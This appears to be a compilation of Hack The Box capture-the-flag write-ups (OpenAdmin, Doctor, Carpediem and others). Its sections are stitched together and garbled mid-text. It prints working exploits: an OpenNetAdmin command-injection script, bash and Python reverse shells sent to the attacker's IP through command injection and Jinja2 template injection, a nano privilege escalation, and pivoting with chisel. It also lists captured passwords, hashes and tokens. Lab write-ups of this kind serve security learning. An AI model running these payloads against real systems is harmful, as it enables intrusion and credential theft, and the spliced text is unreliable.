3. Search for `opennetadmin v18.1.1 exploit` finds [OpenNetAdmin 18.1.1 - Remote Code Execution](https://www.exploit-db.com/exploits/47691) and [OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)](https://www.exploit-db.com/exploits/47772) and [Rapid7](https://www.rapid7.com/db/modules/exploit/unix/webapp/opennetadmin_ping_cmd_injection)
4. Metasploit
```
sudo msfconsole
use exploit/unix/webapp/opennetadmin_ping_cmd_injection
set rhosts 10.10.10.171
set lhost tun0
set lport 56762
set payload linux/x86/meterpreter_reverse_tcp
run
```
5. Manual (Better by far) Get exploit:
```
searchsploit -m exploits/php/webapps/47691.sh && chmod +x 47691.sh
dos2unix 47691.sh
```
Exploit Script:
```
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
```
Run exploit:
```
./47691.sh http://10.10.10.171/ona/login.php
```
The script runs an infinite bash loop taking commands and printing the output. The exploit adds an echo before and after the command the user runs and then uses sed to cut out the command output and ignore the rest.
So since a reverse shell is what we want, lets modify the command to create one with bash:
```
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;bash -c 'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.61%2F42548%200%3E%261'&xajaxargs[]=ping" "http://10.10.10.171/ona/login.php"
```
To create the above command, `bash -c 'bash -i >& /dev/tcp/10.10.14.61/42548 0>&'1` was encoded for URLs by [URLencoder](https://www.urlencoder.org/) and placed in the command area. The `-c` argument to bash is necessary so bash parses the decoded command and not the URL encoded version.
3. Lateral Movement
1. Linux Enumeration
1. [`LinEnum.sh`](https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh) On Attacker:
```
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
sudo python3 -m http.server 80
```
On Target:
```
wget http://10.10.14.61/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -r report -e /tmp/ -t
```
2. [`linuxprivchecker.py`](https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py) On Attacker:
```
wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
sudo python3 -m http.server 80
```
On Target:
```
wget http://10.10.14.61/linuxprivchecker.py
chmod +x linuxprivchecker.py
./LinEnum.sh -r report -e /tmp/ -t
```
3. [LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) On Attacker:
```
wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
sudo python3 -m http.server 80
```
On Target:
```
wget http://10.10.14.61/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh -a 2>&1 | tee linpeas_report.txt
```
Info about `2>&1` and `tee`: Don't forget your "ninja" password
Click here to logout Session ``` 2. `cat index.php` includes: ``` if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') { $_SESSION['username'] = 'jimmy'; header("Location: /main.php"); } else { $msg = 'Wrong username or password.'; } ``` Result: This file is not necessary since `main.php` can be accessed directly. 3. `curl 127.0.0.1:52846/main.php` gives us: ``` -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8 ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE 6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI 9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4 piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/ /U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH 40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb 9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80 X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr 1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2 XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79 yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM +4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN -----END RSA PRIVATE KEY----- ``` The key is encrypted so lets bruteforce with `johntheripper` 4. Method 2 1. Reverse shell in `/var/www/internal` 5. `john` bruteforce RSA key: ``` /usr/share/john/ssh2john.py key > hash sudo john hash --fork=4 -w=/usr/share/wordlists/rockyou.txt ``` Result: Key is `bloodninjas` 4. `joanna` to `root`: `chmod 600 key` and `ssh joanna@10.10.10.171 -i key` 1. `sudo -l` ``` User joanna may run the following commands on openadmin: (ALL) NOPASSWD: /bin/nano /opt/priv ``` 2. `cat user.txt`: **User Flag:** `c9b2cf07d40807e62af62660f0c81b5f` 3. Search for nano on [GTFOBins](https://gtfobins.github.io/gtfobins/nano/) ``` nano ^R^X reset; sh 1>&0 2>&0 ``` 4. Switch to tty: `SHELL=/bin/bash script -q /dev/null` 5. `cat /root/root.txt`: **Root Flag:** `2f907ed450b361b2c2bf4e8795d5b561` # Doctor 1. `nmap -T4 -Pn -sC 10.10.10.209`. ``` Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-02 09:27 EST Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 2.45% done; ETC: 09:29 (0:01:20 remaining) Nmap scan report for 10.10.10.209 Host is up (0.032s latency). Not shown: 997 filtered ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA) | 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA) |_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519) 80/tcp open http |_http-title: Doctor 8089/tcp open unknown | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser | Not valid before: 2020-09-06T15:57:27 |_Not valid after: 2023-09-06T15:57:27 Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds ``` 2. `https://10.10.10.209:8089` has http login functionality for the `/services` and `/servicesNS` endpoints. 3. I initially thought the website on port 80 was just a standard template but there is the text `Send us a message at info@doctors.htb`. Add `10.10.10.209 doctors.htb` to `/etc/hosts` to get a "Doctor Secure Messaging" page with a login. 4. Directory bruteforcing: `gobuster dir -u http://10.10.10.209 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt` and `gobuster dir -u https://10.10.10.209:8089 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --insecuressl`. The secure website produces the following: ``` =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: https://10.10.10.209:8089 [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/12/02 09:33:15 Starting gobuster =============================================================== /services (Status: 401) /v2 (Status: 200) /v1 (Status: 200) /v3 (Status: 200) /v4 (Status: 200) /v5 (Status: 200) /v6 (Status: 200) /v7 (Status: 200) /v8 (Status: 200) /v10 (Status: 200) /v11 (Status: 200) /v15 (Status: 200) /v0 (Status: 200) /v01 (Status: 200) /v52 (Status: 200) /v001 (Status: 200) /v23 (Status: 200) /v9 (Status: 200) /v14 (Status: 200) /v20 (Status: 200) /v05 (Status: 200) /v13 (Status: 200) /v12 (Status: 200) /v92 (Status: 200) /v003 (Status: 200) /v209 (Status: 200) =============================================================== 2020/12/02 09:34:19 Finished =============================================================== ``` 5. Searching online finds the following: * [Abusing Splunk Forwarders For Shells and Persistence](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) * [cnotin/SplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2) But I need the admin username and password to use them. `admin` is the username according to the first link. 6. Try brute-forcing Splunk login: `hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8089 -f 10.10.10.209 http-get /services`. Unsuccessful. 7. On the "Doctor Secure Messaging" page try directory brute-forcing: `gobuster dir -u http://doctors.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`. ``` [+] Url: http://doctors.htb [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/12/02 10:07:32 Starting gobuster =============================================================== /account (Status: 302) /logout (Status: 302) /archive (Status: 200) /login (Status: 200) /register (Status: 200) /home (Status: 302) /reset_password (Status: 200) =============================================================== 2020/12/02 10:12:18 Finished =============================================================== ``` 8. Try creating an account on "Doctor Secure Messaging" and find comment ``. 9. I tested various approaches with the message posting functionality including [Server Side Template Injection (SSTI) with Flask](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---basic-injection) since Wappalyzer informed me the web framework was Flask. I then decided to check `/archive` after creating a post. Creating a post with a title and content of `{{7*'7'}}` produces `7777777`, which shows this page is vulnerable to SSTI. 10. Post the following in the title and content using the "New Message" function then visit `/archive` to get a reverse shell: ```{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.131\",3254));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\"]);'").read().zfill(417)}}
 | |
Error response
|Error code: 400
|Message: Bad request version ('RTSP/1.0').
|Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.
| |_ 3000/tcp filtered ppp 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port80-TCP:V=7.92%I=7%D=7/26%Time=62E09C36%P=x86_64-pc-linux-gnu%r(GetR SF:equest,1036,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20P SF:ython/3\.10\.3\r\nDate:\x20Wed,\x2027\x20Jul\x202022\x2002:00:17\x20GMT SF:\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20 SF:5316\r\nConnection:\x20close\r\n\r\nE SF:rror\x20response
\n\x20\x20\x20\x20\x20\x20\x20\x20Error\x20code SF::\x20400
\n\x20\x20\x20\x20\x20\x20\x20\x20Message:\x20Bad\x20req SF:uest\x20version\x20\('RTSP/1\.0'\)\.
\n\x20\x20\x20\x20\x20\x20\x20\ SF:x20Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20 SF:Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.
\n\x20\x20 SF:\x20\x20\n\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` We have a Flask Werkzeug server on port `80`, SSH on port `22`, and a filtered port `3000`. ### Flask (Port `80`) At port `80` we are met with the homepage of a file sharing service called "upcloud."  There is button that lets us download the [source code](https://github.com/HHousen/hack-the-box/blob/master/Machines/OpenSource/source.zip) (hence the box name "OpenSource"). There is also a test instance running at `http://10.10.11.164/upcloud`, which is linked to by the last button on the page. First, in the source code there is a `Dockerfile` so this site is probably running in a Docker container. #### Git This is a git repo since there is a `.git` folder present. `git log` shows two commits: ``` commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public) Author: gituserfaculty.htb
Faculties
| ID | Name | Contact | |
|---|---|---|---|
| 85662050 | Blake, Claire G | cblake@faculty.htb | (763) 450-0121 |
| 30903070 | James, Eric P | ejames@faculty.htb | (702) 368-3689 |
| 63033226 | Smith, John C | jsmith@faculty.htb | (646) 559-9192 |
Movie managment
"buffered")); } $query = "select * from movies order by movie"; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC)) { ?>Staff managment
"buffered")); if(isset($_POST['staff_id'])) { ?> Message sent to administrator
"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
User managment
"buffered")); } $query = "select * from users where is_staff = 0"; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC)) { ?>``` Let's also get the `index.php` file by running `https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php`: ```php FORBIDDEN"); } $connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890'); $handle = sqlsrv_connect('(local)',$connection); ?>
Admin panel
registration.php:53:
registration.php:54:
registration.php-55-
registration.php-56-
--
registration.php-92- var _err_el = $('
')
registration.php-93- _err_el.addClass("alert alert-danger err-msg").text(resp.msg)
registration.php:94: $('[name="password"]').after(_err_el)
registration.php-95- end_loader()
registration.php-96-
--
classes/Users.php-16- $data = '';
classes/Users.php-17- foreach($_POST as $k => $v){
classes/Users.php:18: if(!in_array($k,array('password'))){
classes/Users.php-19- if(!empty($data)) $data .=" , ";
classes/Users.php-20- $data .= " {$k} = '{$v}' ";
classes/Users.php-21- }
classes/Users.php-22- }
classes/Users.php:23: if(!empty($password) && !empty($id)){
classes/Users.php:24: $password = md5($password);
classes/Users.php-25- if(!empty($data)) $data .=" , ";
classes/Users.php:26: $data .= " `password` = '{$password}' ";
classes/Users.php-27- }
classes/Users.php-28-
--
classes/Login.php-19- $_POST = sanitize_post($_POST);
classes/Login.php-20- extract($_POST);
classes/Login.php:21: $stmt = $this->conn->prepare("SELECT * from `users` where `username` = ? and `password` = ? and `id` = ?");
classes/Login.php-22- $is_admin = 1;
classes/Login.php:23: $stmt->bind_param("ssi",$username, md5($password), $is_admin);
classes/Login.php-24- $stmt->execute();
classes/Login.php-25- $rows = $stmt->get_result();
--
classes/Login.php-31- return json_encode(array('status'=>'success'));
classes/Login.php-32- }else{
classes/Login.php:33: return json_encode(array('status'=>'incorrect','last_qry'=>"SELECT * from users where username = '$username' and password = md5('$password') and login_type = '1'"));
classes/Login.php-34- }
classes/Login.php-35- }
--
classes/Login.php-42- $_POST = sanitize_post($_POST);
classes/Login.php-43- extract($_POST);
classes/Login.php:44: $stmt = $this->conn->prepare("SELECT * from `users` where `username` = ? and `password` = ?");
classes/Login.php:45: $stmt->bind_param("ss",$username, md5($password));
classes/Login.php-46- $stmt->execute();
classes/Login.php-47- $rows = $stmt->get_result();
--
classes/Master.php-341- $data = "";
classes/Master.php-342- foreach($_POST as $k =>$v){
classes/Master.php:343: if(!in_array($k,array('id', 'password'))){
classes/Master.php-344- if(!empty($data)) $data .=",";
classes/Master.php-345- $data .= " `{$k}`='{$v}' ";
classes/Master.php-346- }
classes/Master.php-347- }
classes/Master.php:348: if(!empty($password)){
classes/Master.php:349: $data .= ", `password` = '".md5($password)."' ";
classes/Master.php-350- }
classes/Master.php-351- $stmt = $this->conn->prepare("SELECT * FROM `users` where `username` = ?");
--
classes/Master.php-405- $data = "";
classes/Master.php-406- foreach($_POST as $k =>$v){
classes/Master.php:407: if(!in_array($k,array('password'))){
classes/Master.php-408- if(!empty($data)) $data .=",";
classes/Master.php-409- $data .= " `{$k}`='{$v}' ";
classes/Master.php-410- }
classes/Master.php-411- }
classes/Master.php:412: if(!empty($password)){
classes/Master.php:413: $password = md5($password);
classes/Master.php-414- if(!empty($data)) $data .=" , ";
classes/Master.php:415: $data .= " `password` = '{$password}' ";
classes/Master.php-416- }
classes/Master.php-417- $stmt = $this->conn->prepare("SELECT * FROM `users` where `username` = ?");
--
classes/DBConnection.php-7- private $host = 'mysql';
classes/DBConnection.php-8- private $username = 'portaldb';
classes/DBConnection.php:9: private $password = 'J5tnqsXpyzkK4XNt';
classes/DBConnection.php-10- private $database = 'portal';
classes/DBConnection.php-11-
--
classes/DBConnection.php-16- if (!isset($this->conn)) {
classes/DBConnection.php-17-
classes/DBConnection.php:18: $this->conn = new mysqli($this->host, $this->username, $this->password, $this->database);
classes/DBConnection.php-19-
classes/DBConnection.php-20- if (!$this->conn) {
--
classes/Trudesk.php-5- private $apikey = 'f8691bd2d8d613ec89337b5cd5a98554f8fffcc4';
classes/Trudesk.php-6- private $username = 'svc-portal-tickets';
classes/Trudesk.php:7: private $password = '';
classes/Trudesk.php-8- private $database = '';
classes/Trudesk.php-9-
--
initialize.php-1-'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');
initialize.php-3-if(!defined('base_url')) define('base_url','http://portal.carpediem.htb/');
initialize.php-4-if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
--
initialize.php-6-if(!defined('DB_SERVER')) define('DB_SERVER',"mysql");
initialize.php-7-if(!defined('DB_USERNAME')) define('DB_USERNAME',"portaldb");
initialize.php:8:if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"J5tnqsXpyzkK4XNt");
initialize.php-9-if(!defined('DB_NAME')) define('DB_NAME',"portal");
initialize.php-10-?>
--
admin/user/index.php-29-
admin/user/index.php-30-
admin/user/index.php:31:
admin/user/index.php:32:
admin/user/index.php:33: Leave this blank if you dont want to change the password.
admin/user/index.php-34-
admin/user/index.php-35-
--
admin/login.php-26-
admin/login.php-27-
admin/login.php:28:
admin/login.php-29-
admin/login.php-30-
--
admin/login.php-47-
admin/login.php-48-
admin/login.php-51-
--
login.php-21-
login.php-22-
login.php:23:
login.php:24:
login.php-25-
login.php-26-
--
edit_account.php-40-
edit_account.php-41-
edit_account.php:42:
edit_account.php:43:
edit_account.php-44-
edit_account.php-45-
```
#### Trudesk Initial Findings
The api key and username in `classes/Trudesk.php` seem interesting:
```
$ cat classes/Trudesk.php
&1 | tee linpeas_report_docker.txt`. Download the report with `download linepeas_report.txt` in the local terminal. You can open [linpeas\_report\_docker.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/linpeas_report_docker.txt) with `less -R linpeas_report_docker.txt`.
There is some sensitive information in the environment variables:
```
╔══════════╣ Environment
╚ Any private information inside environment variables?
HISTFILESIZE=0
MYSQL_PORT_33060_TCP=tcp://172.17.0.4:33060
APACHE_CONFDIR=/etc/apache2
HOSTNAME=3c371615b7aa
PHP_INI_DIR=/usr/local/etc/php
SHLVL=2
OLDPWD=/var/www/html/portal
PS1=$(command printf "\[\033[01;31m\](remote)\[\033[0m\] \[\033[01;33m\]$(whoami)@$(hostname)\[\033[0m\]:\[\033[1;36m\]$PWD\[\033[0m\]\$ ")
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=7.4.25
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312
MYSQL_ENV_MYSQL_MAJOR=8.0
PHP_ASC_URL=https://www.php.net/distributions/php-7.4.25.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
_=./linpeas.sh
PHP_URL=https://www.php.net/distributions/php-7.4.25.tar.xz
TERM=tmux-256color
MYSQL_PORT_3306_TCP_ADDR=172.17.0.4
MYSQL_ENV_MYSQL_ROOT_PASSWORD=3dQXeqjMHnq4kqDv
HISTCONTROL=ignorespace
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MYSQL_ENV_GOSU_VERSION=1.12
MYSQL_PORT_3306_TCP_PORT=3306
APACHE_LOCK_DIR=/var/lock/apache2
MYSQL_PORT_3306_TCP_PROTO=tcp
LANG=C
HISTSIZE=0
MYSQL_PORT_33060_TCP_ADDR=172.17.0.4
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
MYSQL_PORT=tcp://172.17.0.4:3306
APACHE_LOG_DIR=/var/log/apache2
MYSQL_PORT_3306_TCP=tcp://172.17.0.4:3306
MYSQL_PORT_33060_TCP_PORT=33060
MYSQL_ENV_MYSQL_VERSION=8.0.27-1debian10
MYSQL_PORT_33060_TCP_PROTO=tcp
MYSQL_NAME=/portal/mysql
PWD=/tmp
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
PHP_SHA256=12a758f1d7fee544387a28d3cf73226f47e3a52fb3049f07fcc37d156d393c0a
APACHE_ENVVARS=/etc/apache2/envvars
HISTFILE=/dev/null
```
There is a MySQL server at `172.17.0.4:3306` with a root password of `3dQXeqjMHnq4kqDv`. From `/var/www/html/portal/initialize.php` we saw that the site was connecting to the address `mysql`, which Docker resolves automatically if that is the name of a container. We can resolve it ourselves with `getent hosts mysql`:
```
172.17.0.4 mysql a5004fe641ca
```
So, `mysql` is `172.17.0.4`. So, now we have two passwords to the database at `172.17.0.4:3306`.
Since we have limited tools in the docker container, we need to forward this port to our attacker machine so we can work with it. This is made easy with [chisel](https://github.com/jpillora/chisel) ([helpful guide](https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html)). Run `./chisel server -p 12350 --reverse` on your attacker machine and then run `./chisel client 10.10.14.98:12350 R:3306:172.17.0.4:3306` on the target. You can upload `chisel` easily with pwncat by running `upload tools/chisel` in the local shell of pwncat.
We can then run `sqlmap -d mysql://root:3dQXeqjMHnq4kqDv@localhost:3306/ --dbs` to dump the list of databases:
```
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] portal
[*] sys
```
Sure enough, this is the same database we exploted with SQLi before. So, nothing new to see here.
Anyway, LinPEAS also finds some other devices on the network, which are probably other Docker containers:
```
╔══════════╣ Networks and neighbours
Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT
eth0 00000000 010011AC 0003 0 0 0 00000000 0 0 0
eth0 000011AC 00000000 0001 0 0 0 0000FFFF 0 0 0
IP address HW type Flags HW address Mask Device
172.17.0.6 0x1 0x2 02:42:ac:11:00:06 * eth0
172.17.0.3 0x1 0x2 02:42:ac:11:00:03 * eth0
172.17.0.4 0x1 0x2 02:42:ac:11:00:04 * eth0
172.17.0.1 0x1 0x2 02:42:1d:cc:7d:66 * eth0
172.17.0.2 0x1 0x2 02:42:ac:11:00:02 * eth0
```
#### Nmap
Let's use `nmap` to scan these machines. I uploaded [this standalone `nmap` binary](https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap) (it's an old version, but it should be fine) to the machine:
```
$ ./nmap -p- 172.17.0.0/24
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2022-07-30 21:07 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.17.0.1
Host is up (0.00013s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap scan report for 172.17.0.2
Host is up (0.0010s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
443/tcp open https
Nmap scan report for 172.17.0.3
Host is up (0.00098s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
27017/tcp open unknown
Nmap scan report for mysql (172.17.0.4)
Host is up (0.00011s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
3306/tcp open mysql
33060/tcp open unknown
Nmap scan report for 3c371615b7aa (172.17.0.5)
Host is up (0.000052s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.17.0.6
Host is up (0.00011s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
8118/tcp open unknown
Nmap done: 256 IP addresses (6 hosts up) scanned in 23.33 seconds
```
Forwarding `172.17.0.6:8118` with `./chisel client 10.10.14.98:12350 R:8118:172.17.0.6:8118` reveals that `172.17.0.6:8118` is Trudesk. We check the other http services the same way. `172.17.0.1:80` is the countdown website we saw initially, which makes sense since `172.17.0.1` is the host. `172.17.0.2:80` shows the "Apache2 Ubuntu Default Page." `172.17.0.2:443` appears to be an instance of [Backdrop CMS](https://backdropcms.org/):
Searching for "backdrop cms exploit" doesn't immediately find anything promising.
There is also FTP on `172.17.0.2`, which is interesting. Forwarding that port and attempt [anonymous login](https://book.hacktricks.xyz/network-services-pentesting/pentesting-ftp#anonymous-login) doesn't work.
### MongoDB
Port `27017` is the default MongoDB port. We port forward `172.17.0.3:27017`. Then, just run the `mongo` command on the attacker machine and it will automatically connect to the correct database since it is on `localhost` now.
(Note: This part is very similar to the [Talkative machine](https://github.com/HHousen/hack-the-box/blob/master/Machines/Talkative/README.md). This machine and Talkative share an author.)
We can view the databases and switch to the `trudesk` database:
```
rs0:PRIMARY> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
trudesk 0.001GB
rs0:PRIMARY> use trudesk
switched to db trudesk
rs0:PRIMARY> db
trudesk
```
We can view the collections in this database with `show collections`:
```
accounts
counters
departments
groups
messages
notifications
priorities
role_order
roles
sessions
settings
tags
teams
templates
tickets
tickettypes
```
Let's view the `accounts` collection:
```json
> db.accounts.find().pretty()
{
"_id" : ObjectId("623c8b20855cc5001a8ba13c"),
"preferences" : {
"tourCompleted" : false,
"autoRefreshTicketGrid" : true,
"openChatWindows" : [ ]
},
"hasL2Auth" : false,
"deleted" : false,
"username" : "admin",
"password" : "$2b$10$imwoLPu0Au8LjNr08GXGy.xk/Exyr9PhKYk1lC/sKAfMFd5i3HrmS",
"fullname" : "Robert Frost",
"email" : "rfrost@carpediem.htb",
"role" : ObjectId("623c8b20855cc5001a8ba138"),
"title" : "Sr. Network Engineer",
"accessToken" : "22e56ec0b94db029b07365d520213ef6f5d3d2d9",
"__v" : 0,
"lastOnline" : ISODate("2022-04-07T20:30:32.198Z")
}
{
"_id" : ObjectId("6243c0be1e0d4d001b0740d4"),
"preferences" : {
"tourCompleted" : false,
"autoRefreshTicketGrid" : true,
"openChatWindows" : [ ]
},
"hasL2Auth" : false,
"deleted" : false,
"username" : "jhammond",
"email" : "jhammond@carpediem.htb",
"password" : "$2b$10$n4yEOTLGA0SuQ.o0CbFbsex3pu2wYr924cKDaZgLKFH81Wbq7d9Pq",
"fullname" : "Jeremy Hammond",
"title" : "Sr. Systems Engineer",
"role" : ObjectId("623c8b20855cc5001a8ba139"),
"accessToken" : "a0833d9a06187dfd00d553bd235dfe83e957fd98",
"__v" : 0,
"lastOnline" : ISODate("2022-04-01T23:36:55.940Z")
}
{
"_id" : ObjectId("6243c28f1e0d4d001b0740d6"),
"preferences" : {
"tourCompleted" : false,
"autoRefreshTicketGrid" : true,
"openChatWindows" : [ ]
},
"hasL2Auth" : false,
"deleted" : false,
"username" : "jpardella",
